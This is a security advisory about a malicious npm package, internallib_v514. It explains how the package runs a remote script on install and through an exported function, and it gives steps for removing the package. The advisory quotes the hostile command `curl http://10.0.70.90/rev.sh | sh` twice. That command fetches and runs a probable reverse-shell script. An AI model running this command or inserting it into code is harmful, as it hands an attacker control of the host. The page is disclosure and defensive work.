# MAL-2026-13483: Malicious code in internallib_v514 (npm)


- **Type:** Malicious package
- **Package:** `internallib_v514` (npm)
- **Published:** 6 Aug 2026

## What is MAL-2026-13483?

MAL-2026-13483 is a malicious package in internallib_v514, published on 6 Aug 2026. 

### Official description

package.json declares a preinstall lifecycle hook that runs `curl http://10.0.70.90/rev.sh | sh`, fetching an unpinned shell script from a bare internal IP over plain HTTP and piping it to sh. This executes automatically on `npm install`, granting the operator of 10.0.70.90 arbitrary code execution on the installer's host. In addition, index.js exports a `command` function whose body invokes `require("child_process").execSync("curl http://10.0.70.90/rev.sh | sh")`, providing a second remote-code-execution path through the library's public API. The remote payload is unpinned, unverified, served over cleartext HTTP, and named `rev.sh` — consistent with a reverse-shell dropper.

## What should I do about MAL-2026-13483?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-13483 is a malicious package: internallib_v514 (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-13483/ (Markdown: https://insights.sbomify.com/MAL-2026-13483/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-13483

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-13483/
Summaries are generated and may contain mistakes; the official description above is the record.